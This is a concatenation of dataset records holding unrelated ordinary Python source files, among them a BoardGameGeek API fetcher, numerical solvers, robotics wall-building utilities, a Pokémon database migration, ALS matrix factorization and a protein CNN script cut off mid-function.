'id'))\n # playerpoll\n num_branch = _g.find('.//poll[@name=\"suggested_numplayers\"]')\n numplayer_dict = {}\n for lv1 in num_branch.findall('.//results[@numplayers]'):\n numplayer_dict[lv1.attrib['numplayers']] = []\n numplayer_vec = numplayer_dict[lv1.attrib['numplayers']]\n for lv2 in lv1.findall('.//result'):\n numplayer_vec.append(lv2.attrib['numvotes'])\n try:\n dummy['two_player_rating'] = ','.join(numplayer_dict['2'])\n except Exception as e:\n dummy['two_player_rating'] = np.nan\n try:\n dummy['two_player_quota'] = sum([int(x) for x in numplayer_dict['2'][0:2]]) / sum([int(x) for x in numplayer_dict['2']])\n except Exception as e:\n dummy['two_player_quota'] = np.nan\n\n break\n except Exception as e:\n print('Fetching-Error:', _ + 1, '. try.')\n time.sleep(2)\n if _ == 2:\n raise ConnectionError\n _count += stepsize\n print('PROGRESS:', min(_count, len(df)), r'/', len(df))\n\n return pd.DataFrame(_data).T.reset_index().rename(columns={'index': id})\n","repo_name":"dpilic/bgg_utils","sub_path":"bgg_xmlapi2.py","file_name":"bgg_xmlapi2.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10215876592","text":"from numpy.typing import ArrayLike\nfrom typing import Callable\n\nfrom math import floor\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\ndef NumericalMethod(t_values: ArrayLike, function: Callable[..., float], initial_value=10) -> ArrayLike:\n \"\"\"\n Faz a solução numérica da equação diferencial. Temos t0 = t_values[0], v(t0) = initial_value, f(t, v) = function.\n \"\"\"\n t_values = list(t_values)\n y = []\n y.append(initial_value)\n for i in range(0, len(t_values) - 1):\n # Aplica-se a equação da reta:\n out = y[i] + function(t_values[i], y[i]) * (t_values[i + 1] - t_values[i])\n y.append(out)\n return np.array(y)\n\ndef DataAnalysis(myData: dict) -> pd.DataFrame:\n \"\"\"\n Calcula os erros percentuais das soluções numéricas em relação às analíticas. \n \"\"\"\n global v\n n = 10 # Número de pontos de análise \n processed_data = {}\n for key in myData:\n if not key == \"Analytical\":\n out = [] # container para as diferenças \n t = np.linspace(0, 6, len(myData[key]))\n for i in np.linspace(0, len(myData[key]) - 1, n):\n # Calcula as diferenças percentuais:\n out.append(100 * ((v(t[floor(i)]) - myData[key][floor(i)])/v(t[floor(i)])))\n processed_data[key] = out\n \n # Cria e configura o DataFrame de saída:\n __data_frame = pd.DataFrame(processed_data, index=np.linspace(0, 6, n))\n __data_frame.columns.name = \"num_div\"\n __data_frame.index.name = \"t\"\n return __data_frame\n\n# Informações do problema físico e sua solução numérica:\nv0, lambda_, g, t0 = 10, 2, 9.81, 0 \nv = lambda t: v0 * np.exp(lambda_*(t0 - t)) + (g/lambda_) * (np.exp(lambda_*(t0 - t)) - 1)\nfunc = lambda t, y: -g - lambda_ * y\n\n# Cria a figura e a área para plotagem:\nfig, axs = plt.subplots(1)\n\n# Cria os dados:\ndata = {'Analytical': v(np.linspace(0, 6, 1000))}\naxs.plot(np.linspace(0, 6, 1000), data['Analytical'], label=\"Solução analítica\") # Plota a sol. Analítica. \n\nfor n in [10, 100, 1000]:\n this_t = np.linspace(0, 6, n)\n data[str(n)] = NumericalMethod(this_t, func)\n axs.plot(this_t, data[str(n)], label=\"n = {}\".format(str(n))) # Plota a solução numérica.\n\n# Configurações finais e output:\naxs.set_ylim(-10, 12)\naxs.legend(loc=\"upper right\")\nplt.show()\n\nprint(\" Erro percentual\\n ===========================================\\n\", DataAnalysis(data))\n","repo_name":"LordCthulhu123/MetodosNumericosIngenuos","sub_path":"QuedaLivre.py","file_name":"QuedaLivre.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14773064842","text":"import copy\nimport rospkg\nimport yaml\nimport rospy\nfrom geometry_msgs.msg import PoseStamped, Point\nfrom mbzirc_comm_objs.msg import ObjectDetection as ObjectDetection\nfrom utils.translate import int_from_color\nimport tf2_py as tf2\n\ndef all_piles_are_found(uav_piles, ugv_piles):\n return len(uav_piles) >= 4 and len(ugv_piles) >= 4 \n\ndef all_walls_are_found(uav_wall, ugv_wall):\n return len(uav_wall) >= 4 and ugv_wall != None \n\ndef uav_piles_are_found(uav_piles):\n return len(uav_piles) >= 4 \n\ndef uav_walls_are_found(uav_wall):\n return len(uav_wall) >= 4\n\ndef is_within_limits(zone,x,y):\n\n if(zone['x_min'] <= x and x <= zone['x_max'] and zone['y_min'] <= y and y <= zone['y_max']):\n return True\n else:\n return False\n \ndef parse_wall(wall_file, n_segments, n_layers, n_bricks):\n\n wall_pattern = {}\n for segment in range(n_segments):\n wall_pattern[segment] = []\n\n with open(wall_file, 'r') as f:\n \n lines = f.readlines()\n\n for line in lines:\n\n bricks = line.split()\n\n for segment in range(n_segments - 1):\n\n colors = []\n\n for i in range(segment*n_bricks,segment*n_bricks+n_bricks):\n colors.append(int_from_color(bricks[i]))\n\n wall_pattern[segment].insert(0,colors)\n\n for layer in range(n_layers):\n wall_pattern[n_segments-1].append([ObjectDetection.COLOR_ORANGE,ObjectDetection.COLOR_ORANGE])\n\n return wall_pattern\n\nclass BrickInWall(object):\n def __init__(self, color, position, wall_pose):\n\n q = tf2.Quaternion()\n tf2.fromMsg(wall_pose.pose.orientation,q)\n t = tf2.Vector3(wall_pose.pose.position.x,wall_pose.pose.position.y,wall_pose.pose.position.z)\n brick_wall = tf2.Vector3(position.x,position.y,position.z)\n\n arenaToWall = tf2.Transform(q, t)\n brick_arena = arenaToWall.inverse()*brick_wall\n\n self.color = color\n self.pose = PoseStamped()\n self.pose.header.frame_id = 'arena' \n self.pose.pose.position = Point(brick_arena[0],brick_arena[1],brick_arena[2])\n self.pose.pose.orientation = wall_pose.pose.orientation\n\n\n def __repr__(self):\n return '[color = {}, pose = [{}: ({},{},{}) ({},{},{},{})]]'.format(self.color, self.pose.header.frame_id, \n self.pose.pose.position.x, self.pose.pose.position.y, self.pose.pose.position.z, \n self.pose.pose.orientation.x, self.pose.pose.orientation.y, self.pose.pose.orientation.z, self.pose.pose.orientation.w)\n\n\ndef get_build_wall_sequence(wall_blueprint, brick_scales, wall_pose, offset):\n\n buid_wall_sequence = []\n current_z = 0.0\n for brick_row in wall_blueprint:\n current_y = 0.0\n build_row_sequence = []\n for brick_color in brick_row:\n brick_position = Point()\n brick_position.x = 0.5 * brick_scales[brick_color].x\n brick_position.y = current_y + 0.5 * brick_scales[brick_color].y\n brick_position.z = current_z + 0.5 * brick_scales[brick_color].z\n current_y += brick_scales[brick_color].y + offset\n\n brick_in_wall = BrickInWall(color = brick_color, position = brick_position, wall_pose = wall_pose)\n build_row_sequence.append(brick_in_wall)\n\n buid_wall_sequence.append(build_row_sequence)\n current_z += brick_scales[ObjectDetection.COLOR_RED].z # As all bricks (should) have the same height\n return buid_wall_sequence\n\nclass BrickTask(object):\n def __init__(self):\n self.color = ObjectDetection.COLOR_UNKNOWN\n self.segment = 0\n self.layer = 0\n self.position = 0.0\n self.state = 'UNINITIALIZED'\n\n def __repr__(self):\n return \"%s(color=%r, segment=%r, layer=%r, position=%r, state=%r)\" % (\n self.__class__.__name__, self.color, self.segment, self.layer, self.position, self.state)\n\n\ndef get_brick_task_list(wall_pattern, brick_scales, init_task=0):\n initial_y = -2.0 # TODO: Tune! (nominal: -2.0)\n small_gap = 0.065 # TODO: Tune! (nominal: 0.065)\n big_gap = 0.4 # TODO: Tune! (nominal: 0.4)\n \n brick_task_list = []\n for layer_index in range(2):\n current_y = [initial_y, initial_y, initial_y]\n for brick_index in range(7):\n for segment_index in range(3): # orange is last!\n brick = BrickTask()\n brick.color = wall_pattern[segment_index][layer_index][brick_index]\n brick.segment = segment_index\n brick.layer = layer_index\n brick.position = current_y[segment_index] + 0.5 * brick_scales[brick.color].y\n brick.state = 'TODO'\n brick_task_list.append(copy.deepcopy(brick))\n current_y[segment_index] = brick.position + 0.5 * brick_scales[brick.color].y + small_gap\n\n for layer_index in range(2):\n current_y = initial_y\n for brick_index in range(2):\n brick = BrickTask()\n brick.color = wall_pattern[3][layer_index][brick_index]\n brick.segment = 3\n brick.layer = layer_index\n brick.position = current_y + 0.5 * brick_scales[brick.color].y\n brick.state = 'TODO'\n brick_task_list.append(copy.deepcopy(brick))\n current_y = brick.position + 0.5 * brick_scales[brick.color].y + big_gap\n\n # TODO: list of tasks computed manually. 1 blue in each segment, 1 green in each segment\n # brick_task_list = []\n # task_counter = 0\n # segment_index = 0\n # color = ObjectDetection.COLOR_GREEN\n # bricks_position = [0.0, -0.5, 0.5, 1.0, 0.5, -0.5]\n\n # while task_counter < 3:\n \n # brick = BrickTask()\n # brick.color = color\n # brick.segment = segment_index\n # brick.layer = 0\n # brick.position = bricks_position[task_counter]\n # brick.state = 'TODO'\n\n # if task_counter >= init_task:\n # brick_task_list.append(copy.deepcopy(brick))\n \n # segment_index = segment_index + 1\n # task_counter = task_counter + 1\n\n # segment_index = 0\n\n # while task_counter < 6:\n \n # brick = BrickTask()\n # brick.color = color\n # brick.segment = segment_index\n # brick.layer = 0\n # brick.position = bricks_position[task_counter]\n # brick.state = 'TODO'\n\n # if task_counter >= init_task:\n # brick_task_list.append(copy.deepcopy(brick))\n \n # segment_index = segment_index + 1\n # task_counter = task_counter + 1\n \n # # Orange brick\n # brick = BrickTask()\n # brick.color = ObjectDetection.COLOR_ORANGE\n # brick.segment = 3\n # brick.layer = 0\n # brick.position = 0.0\n # brick.state = 'TODO'\n\n # task_counter = task_counter + 1\n\n # brick_task_list.append(copy.deepcopy(brick))\n\n print('brick_list: {}'.format(brick_task_list))\n return brick_task_list\n\ndef save_brick_task_list(brick_task_list):\n brick_task_config_filename = 'saved_brick_task_list.yaml'\n brick_task_config_url = rospkg.RosPack().get_path('mbzirc_launchers') + '/config/' + brick_task_config_filename\n with open(brick_task_config_url, 'w') as config:\n yaml.dump({'brick_task_list': brick_task_list}, config)\n\ndef load_brick_task_list():\n brick_task_config_filename = 'saved_brick_task_list.yaml'\n brick_task_config_url = rospkg.RosPack().get_path('mbzirc_launchers') + '/config/' + brick_task_config_filename\n\n try:\n with open(brick_task_config_url, 'r') as config:\n recovered_task_list = yaml.load(config)['brick_task_list']\n \n return recovered_task_list\n\n except IOError:\n \n rospy.logwarn('No file with tasks found')\n return []\n \ndef getSegmentToTheLeftPose(task):\n segment_to_the_left_pose = PoseStamped()\n segment_to_the_left_pose.header.stamp = rospy.Time.now()\n segment_to_the_left_pose.header.frame_id = \"uav_wall_\" + str(task.segment)\n if task.position < 0.0:\n # Left and -90 degrees\n segment_to_the_left_pose.pose.position.x = -2.0\n segment_to_the_left_pose.pose.position.y = 0.0 # TODO: was 3.0, make it closer to 0?\n segment_to_the_left_pose.pose.position.z = 0.0\n segment_to_the_left_pose.pose.orientation.x = 0.0\n segment_to_the_left_pose.pose.orientation.y = 0.0\n segment_to_the_left_pose.pose.orientation.z = -0.7071\n segment_to_the_left_pose.pose.orientation.w = 0.7071\n else:\n # Right and 90 degrees\n segment_to_the_left_pose.pose.position.x = 2.0\n segment_to_the_left_pose.pose.position.y = 0.0 # TODO: was 3.0, make it closer to 0?\n segment_to_the_left_pose.pose.position.z = 0.0\n segment_to_the_left_pose.pose.orientation.x = 0.0\n segment_to_the_left_pose.pose.orientation.y = 0.0\n segment_to_the_left_pose.pose.orientation.z = 0.7071\n segment_to_the_left_pose.pose.orientation.w = 0.7071\n\n # Set position to have the drones in the FOV of the pilots\n # segment_to_the_left_pose.pose.position.x = 3.0\n # segment_to_the_left_pose.pose.position.y = 0.0\n # segment_to_the_left_pose.pose.position.z = 0.0\n # segment_to_the_left_pose.pose.orientation.x = 0.0\n # segment_to_the_left_pose.pose.orientation.y = 0.0\n # segment_to_the_left_pose.pose.orientation.z = 0.7071\n # segment_to_the_left_pose.pose.orientation.w = 0.7071\n\n return segment_to_the_left_pose\n","repo_name":"grvcTeam/mbzirc2020","sub_path":"robot_tasks/scripts/utils/wall.py","file_name":"wall.py","file_ext":"py","file_size_in_byte":9495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37540891329","text":"\"\"\"\nTest for primality.\n\nThis file consists of two methods for determination of primality\n\nFirst is ''primes_sieve()''\nDeterministic method of finding a prime number.\nMethod is more is more suited for creating list of primes.\n\nSecond function ''is_prime''\nalso deterministic function\nis designed for faster operation when searching for primality of given number.\n\"\"\"\n\nimport math\n\n\ndef primes_sieve(limit: int) -> bool:\n \"\"\"\n Input variable vstup greater than 100 is tested for primality.\n\n List of prime numbers is generated up to the upper limit\n given by the parameter ``limit``.\n Function then tests if ``limit`` is in the generated list.\n\n :param limit: number that is tested for primality\n :return: function returns true if parameter limit is prime number\n \"\"\"\n limitn = limit + 1\n primes = [i for i in range(2, limitn)]\n\n for i in primes:\n factors = range(i, limitn, i)\n for f in factors[1:]:\n if f in primes:\n primes.remove(f)\n if limit in primes:\n return True\n else:\n return False\n\n\ndef is_prime(vstup: int) -> bool:\n \"\"\"\n Input variable vstup lower than 100 is tested for primality.\n\n Function reduces number of modulators to save time.\n Python math library needs to imported before deployment of this function.\n\n :param vstup: number that is tested for primality\n :return: function returns true if vstup is primal number\n \"\"\"\n if vstup <= 1:\n return False\n if vstup % 2 == 0:\n return vstup == 2\n\n max_div = math.floor(math.sqrt(vstup))\n for i in range(3, 1 + max_div, 2):\n if vstup % i == 0:\n return False\n return True\n\n\ndef main(vstup):\n \"\"\"Choose an algorithm for primality test.\"\"\"\n if vstup >= 100:\n if is_prime(vstup):\n print(\"Your number is prime.\")\n else:\n print(\"Your number isn't prime.\")\n elif 100 > vstup > 1:\n if primes_sieve(vstup):\n print(\"Your number is prime. Sieve method was used.\")\n else:\n print(\"Your number isn't prime. Sieve method was used.\")\n else:\n print(\"Please enter a positive number!\")\n\n\nif __name__ == '__main__':\n try:\n main(int(input(\"Please enter a number: \")))\n except ValueError:\n print(\"Please enter a positive number!\")\n","repo_name":"konj27/vs_project","sub_path":"projekt.py","file_name":"projekt.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"41777054857","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport producteev\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\n\nif sys.argv[1] == 'publish':\n os.system('python setup.py sdist upload')\n sys.exit()\n\nif sys.argv[1] == 'docs':\n try:\n import sphinx\n except ImportError:\n sys.stderr.write('You must be install sphinx for make docs.\\n')\n sys.stderr.write('\\t pip install sphinx\\n')\n sys.exit(-1)\n\n build_command = 'make html'\n if len(sys.argv) >= 3:\n if sys.argv[2].lower() == 'latex':\n build_command = 'make latex'\n elif sys.argv[2].lower() == 'pdf':\n build_command = 'make latexpdf'\n elif sys.argv[2].lower() == 'html':\n build_command = 'make html'\n else:\n sys.stderr.write('Unrecognized format.\\n')\n sys.exit(-1)\n\n docs_dir = os.path.join(os.path.dirname(__file__), 'docs')\n os.chdir(docs_dir)\n os.system(build_command)\n os.chdir(os.path.pardir)\n sys.exit()\n\nrequired = []\n\n\ndef read(fname):\n try:\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n except:\n return \"This is a Python wrapper for the Producteev API.\"\n\n\nsetup(\n name='producteev',\n version=producteev.__version__,\n description='Producteev API.',\n author='Martín García',\n author_email='newluxfero@gmail.com',\n long_description = read('README.rst'),\n url='https://github.com/magarcia/python-producteev',\n packages=['producteev'],\n package_data={'': ['LICENSE',]},\n include_package_data=True,\n install_requires=required,\n license='MIT',\n test_suite='tests',\n classifiers=(\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'Natural Language :: English',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: POSIX',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n # 'Programming Language :: Python :: 3.0',\n # 'Programming Language :: Python :: 3.1',\n ),\n)","repo_name":"magarcia/python-producteev","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"69"} +{"seq_id":"74980391899","text":"\"\"\"initial\n\nRevision ID: b19de4603fbf\nRevises:\nCreate Date: 2021-10-29 16:02:48.636490\n\n\"\"\"\nimport requests\nimport sqlalchemy as sa\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\n\nrevision = \"b19de4603fbf\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"pokemon\",\n sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n sa.Column(\"name\", sa.String(), nullable=False),\n sa.Column(\n \"type_1\",\n sa.Enum(\n \"normal\",\n \"fire\",\n \"water\",\n \"grass\",\n \"flying\",\n \"fighting\",\n \"poison\",\n \"electric\",\n \"ground\",\n \"rock\",\n \"psychic\",\n \"ice\",\n \"bug\",\n \"ghost\",\n \"steel\",\n \"dragon\",\n \"dark\",\n \"fairy\",\n name=\"type\",\n ),\n nullable=False,\n ),\n sa.Column(\n \"type_2\",\n sa.Enum(\n \"normal\",\n \"fire\",\n \"water\",\n \"grass\",\n \"flying\",\n \"fighting\",\n \"poison\",\n \"electric\",\n \"ground\",\n \"rock\",\n \"psychic\",\n \"ice\",\n \"bug\",\n \"ghost\",\n \"steel\",\n \"dragon\",\n \"dark\",\n \"fairy\",\n name=\"type\",\n ),\n nullable=True,\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.create_index(op.f(\"ix_pokemon_id\"), \"pokemon\", [\"id\"], unique=False)\n op.create_table(\n \"team\",\n sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n sa.Column(\"name\", sa.String(), nullable=False),\n sa.Column(\"owner\", sa.String(), nullable=False),\n sa.Column(\"pokemon_1\", sa.Integer(), nullable=False),\n sa.Column(\"pokemon_2\", sa.Integer(), nullable=True),\n sa.Column(\"pokemon_3\", sa.Integer(), nullable=True),\n sa.Column(\"pokemon_4\", sa.Integer(), nullable=True),\n sa.Column(\"pokemon_5\", sa.Integer(), nullable=True),\n sa.Column(\"pokemon_6\", sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"pokemon_1\"],\n [\"pokemon.id\"],\n ),\n sa.ForeignKeyConstraint(\n [\"pokemon_2\"],\n [\"pokemon.id\"],\n ),\n sa.ForeignKeyConstraint(\n [\"pokemon_3\"],\n [\"pokemon.id\"],\n ),\n sa.ForeignKeyConstraint(\n [\"pokemon_4\"],\n [\"pokemon.id\"],\n ),\n sa.ForeignKeyConstraint(\n [\"pokemon_5\"],\n [\"pokemon.id\"],\n ),\n sa.ForeignKeyConstraint(\n [\"pokemon_6\"],\n [\"pokemon.id\"],\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n op.create_index(op.f(\"ix_team_id\"), \"team\", [\"id\"], unique=False)\n # ### end Alembic commands ###\n\n seed()\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f(\"ix_team_id\"), table_name=\"team\")\n op.drop_table(\"team\")\n op.drop_index(op.f(\"ix_pokemon_id\"), table_name=\"pokemon\")\n op.drop_table(\"pokemon\")\n # ### end Alembic commands ###\n\n\ndef seed() -> None:\n url = \"https://beta.pokeapi.co/graphql/v1beta\"\n query = \"\"\"\n query {\n pokemon_v2_pokemon(where: {is_default: {_eq: true}}) {\n species_id: pokemon_species_id\n name\n types: pokemon_v2_pokemontypes {\n pokemon_v2_type {\n name\n }\n }\n }\n }\n \"\"\"\n\n resp = requests.post(url=url, json={\"query\": query})\n\n pkms = []\n for raw in resp.json().get(\"data\").get(\"pokemon_v2_pokemon\"):\n types = raw.get(\"types\")\n pkms.append(\n {\n \"id\": raw.get(\"species_id\"),\n \"name\": raw.get(\"name\"),\n \"type_1\": types[0].get(\"pokemon_v2_type\").get(\"name\"),\n \"type_2\": types[1].get(\"pokemon_v2_type\").get(\"name\")\n if len(types) == 2\n else None,\n }\n )\n\n meta = sa.MetaData(bind=op.get_bind())\n meta.reflect(only=(\"pokemon\", \"team\"))\n op.bulk_insert(sa.Table(\"pokemon\", meta), pkms)\n","repo_name":"kekel87/poc-emon","sub_path":"backs/fastapi/alembic/versions/b19de4603fbf_initial.py","file_name":"b19de4603fbf_initial.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"12912144415","text":"import numpy as np\nfrom math import sqrt\n\n\n\ndef train(ratings_train: np.ndarray, n_latent_factors: int, lambd: float, n_iter: int=10):\n\n X = ratings_train.copy()\n X[X == -1] = 0 # masking -1's with zeroes\n\n V = np.random.rand(X.shape[1], n_latent_factors)\n\n for i in range(n_iter):\n U = predict_user_factors(ratings=X, item_factors=V, lambd=lambd)\n V = predict_item_factors(ratings=X, user_factors=U, lambd=lambd)\n # cost = get_cost(ratings=ratings_train, user_factors=U, item_factors=V)\n # print(cost)\n\n return U, V\n\n\ndef predict_user_factors(ratings: np.ndarray, item_factors: np.ndarray, lambd: float):\n\n if len(ratings.shape) != 2:\n print(\"X does not have correct shape.\")\n print(\"X must be a 2D array, even if there is a single user.\")\n print(\"If your X has a shape of (n,), try X = np.array([X]) and then pass X.\")\n exit(1)\n\n X = ratings\n V = item_factors\n k = V.shape[1]\n\n right = np.matmul(X, V) # named \"right\" according to instruction document\n\n left = np.matmul(V.T, V) + lambd * np.eye(k)\n left_inv = np.linalg.inv(left)\n\n U = right.dot(left_inv) # note the reverse order of multiplication: right x left\n return U\n\n \"\"\"\n I can get the whole U matrix just by transposing and altering the order of matrix multiplication.\n No need to iterate over rows.\n\n It took me hours to realize this simple vectorization trick.\n Perhaps because BUET has murdered my love for Mathematics that I have become so naive.\n\n I don't know if I'll ever get back my intuition and common sense.\n I hope I will... someday.\n \"\"\"\n\n\ndef predict_item_factors(ratings: np.ndarray, user_factors: np.ndarray, lambd: float):\n return predict_user_factors(ratings.T, user_factors, lambd)\n\n\ndef get_cost(ratings: np.ndarray, user_factors: np.ndarray, item_factors: np.ndarray):\n\n original_ratings = ratings\n prediction = np.matmul(user_factors, item_factors.T)\n\n prediction[prediction < 0.] = 0.\n prediction[prediction > 5.] = 5.\n\n prediction[ratings == -1] = -1 # so that difference = 0 \n\n diff = original_ratings - prediction\n diff_squared = diff * diff\n total_observed = len(ratings[ratings != -1])\n cost = sqrt(np.sum(diff_squared) / total_observed)\n\n return cost\n\n\n\n\n\n\n\n\n\n\n\n# # fastest\n# def predict_user_factors(ratings: np.ndarray, item_factors: np.ndarray, lambd):\n#\n# if len(ratings.shape) != 2:\n# print(\"X does not have correct shape.\")\n# print(\"X must be a 2D array, even if there is a single user.\")\n# print(\"If your X has a shape of (n,), try X = np.array([X]) and then pass X.\")\n# exit(1)\n#\n# X = ratings.copy()\n# X[X == -1] = 0\n# V = item_factors.copy()\n# left = np.linalg.inv(V.T.dot(V) + lambd * np.eye(V.shape[1]))\n# right = (X.dot(V)).T\n# return left.dot(right).T\n#\n# def predict_item_factors(ratings: np.ndarray, user_factors: np.ndarray, lambd: float):\n# return predict_user_factors(ratings.T, user_factors, lambd)","repo_name":"sajidhasanapon/CSE-472-Machine-Learning","sub_path":"Assignment 3 - Matrix Factorization (ALS)/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35719328188","text":"# -*- encoding: utf-8 -*-\nfrom django.conf.urls import patterns, url\n\nurlpatterns = patterns('payments.views',\n url(r'^subscribe/basic/$', 'subscription_edit_create',\n {'plan_id': '2'}, name='subscription_basic'),\n url(r'^subscribe/premium/$', 'subscription_edit_create',\n {'plan_id': '3'}, name='subscription_premium'),\n url(r'^unsubscribe/$', 'subscription_cancel', name='subscription_cancel'),\n url(r'^welcome/$', 'subscription_welcome', name='subscription_welcome'),\n url(r'^plans/$', 'subscription_plans', name='subscription_plans'),\n url(r'^subscriptions/$', 'subscription_list', name='subscription_list'),\n)\n","repo_name":"CulturePlex/Sylva","sub_path":"sylva/payments/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"69"} +{"seq_id":"9432462576","text":"import math\nn = int(input(\"input N number: \"))\n\n\ndef get_simples(number) -> set[int]:\n bound = int(math.sqrt(number) + 1)\n _temp = {*range(2, bound)}\n for i in range(2, bound):\n powers = set([i * x for x in range(i, bound)])\n _temp -= powers\n return _temp\n\n\ndef get_nodes(number) -> enumerate[int]:\n result = []\n simples = sorted(get_simples(number))\n for simple in simples:\n if number < simple:\n break\n while not number % simple:\n number //= simple\n result.append(simple)\n return result\n\n\nprint(get_nodes(n))\n\n","repo_name":"SerikovGennadiy/PY_HW","sub_path":"lesson4/2_nods.py","file_name":"2_nods.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"71151045341","text":"import pandas as pd\nimport numpy as np\nfrom numpy import asarray\nfrom time import time\n\nfrom sklearn.preprocessing import OneHotEncoder\n\nimport pickle \nimport tempfile\n\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten, Conv3D, MaxPooling3D, Dropout, BatchNormalization, Activation, Reshape, Conv1D, MaxPooling1D\nfrom tensorflow.keras import initializers \nfrom tensorflow.keras import regularizers \nfrom tensorflow.keras import constraints \nfrom tensorflow.keras.callbacks import EarlyStopping\n\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\n\nfrom data_entry import data_entry\nfrom ptn_io import isfileandnotempty, getfileswithname\nfrom grid_point import grid_point\nfrom geo import geo_alignpoints, geo_distmat_to3d\n\nimport matplotlib.pyplot as plt\n\nimport math\nimport random\n# For HPC \n# source venv/bin/activate\n# qsubi -pe smp 4 -l m_mem_free=5G -l h_vmem=5G\n# screen -S ptn\n# module load python/3.6.8\n# pip3 install --user --upgrade tensorflow\n# python3.6 -i cnn.py\n# Tryptophan (largest amino acid) = 0.67 nm in diameter 6.7 angstroms -> 7 A\n# For 10 Tryptophan, 70 Angstroms x 70 Angstroms x 70 Angstroms\n# Poole C and F J Owens, 'Introduction to Nanotechnology' Wiley 2003 p 315.\nCUBIC_LENGTH_CONSTRAINT = 70\n\n# Given an object loaded matrix of grid points, return a logical matrix representing atomic positions\ndef grid2logical(mat):\n\ta = len(mat)\n\tmat_ = [[[ [] for _ in range(a)] for _ in range(a)] for _ in range(a)]\n\tfor i in range(len(mat)):\n\t\tfor j in range(len(mat[0])):\n\t\t\tfor k in range(len(mat[0][0])):\n\t\t\t\tmat_[i][j][k] = mat[i][j][k].occupancy\n\treturn mat_\n\n\n# Given an object loaded matrix of grid points, return a matrix of atom types into general categories {'N', 'O', 'C', 'S'}\ndef grid2atomtype(mat, atom_type, atom_type_encoder):\n\ta = len(mat)\n\tmat_ = [[[ [] for _ in range(a)] for _ in range(a)] for _ in range(a)]\n\n\tfor i in range(len(mat)):\n\t\tfor j in range(len(mat[0])):\n\t\t\tfor k in range(len(mat[0][0])):\n\t\t\t\tatom = mat[i][j][k].atom\n\t\t\t\tif atom is None:\n\t\t\t\t\tmat_[i][j][k] = atom_type_encoder[atom_type.index(\"None\")]\n\t\t\t\telse:\n\t\t\t\t\tmat_[i][j][k] = atom_type_encoder[atom_type.index(atom[:1])]\n\treturn mat_\n\n\n# Given an object loaded matrix of grid points, return a matrix of specific atom types\ndef grid2atom(mat, atom_pos, atom_pos_encoder):\n\ta = len(mat)\n\tmat_ = [[[ [] for _ in range(a)] for _ in range(a)] for _ in range(a)]\n\n\tfor i in range(len(mat)):\n\t\tfor j in range(len(mat[0])):\n\t\t\tfor k in range(len(mat[0][0])):\n\t\t\t\tatom = mat[i][j][k].atom\n\t\t\t\tif atom is None:\n\t\t\t\t\tmat_[i][j][k] = atom_pos_encoder[atom_pos.index(\"None\")]\n\t\t\t\telse:\n\t\t\t\t\tmat_[i][j][k] = atom_pos_encoder[atom_pos.index(atom)]\n\treturn mat_\n\n\n# Given an object loaded matrix of grid points, return a list of unique atoms.\ndef get_all_atoms(mat, atoms):\n\tfor i in range(len(mat)):\n\t\tfor j in range(len(mat[0])):\n\t\t\tfor k in range(len(mat[0][0])):\n\t\t\t\tatom = mat[i][j][k].atom\n\t\t\t\tif atom is not None:\n\t\t\t\t\tatoms.append(atom)\n\treturn list(set(atoms))\n\n\n# Given a matrix, return the minimum required dimensions in order to capture all non-zero values.\ndef find_bounds(mat):\n\tx = [i for i in range(CUBIC_LENGTH_CONSTRAINT) if (np.array(mat[i]) != 0.0).any()]\n\tx_min = min(x)\n\tx_max = max(x)\n\n\ty = [i for i in range(CUBIC_LENGTH_CONSTRAINT) for j in range(x_min, x_max) if (np.array(mat[j][i]) != 0.0).any()]\n\ty_min = min(y)\n\ty_max = max(y)\n\n\tz = [i for i in range(CUBIC_LENGTH_CONSTRAINT) for j in range(x_min, x_max) for k in range(y_min, y_max) if (np.array(mat[j][k][i]) != 0.0).any()]\n\tz_min = min(z)\n\tz_max = max(z)\n\n\treturn x_min, y_min, z_min, x_max, y_max, z_max\n\n\n# Given new bounds and old bounds, return the proper updated bounds.\ndef update_bounds(new_x_min, new_y_min, new_z_min, new_x_max, new_y_max, 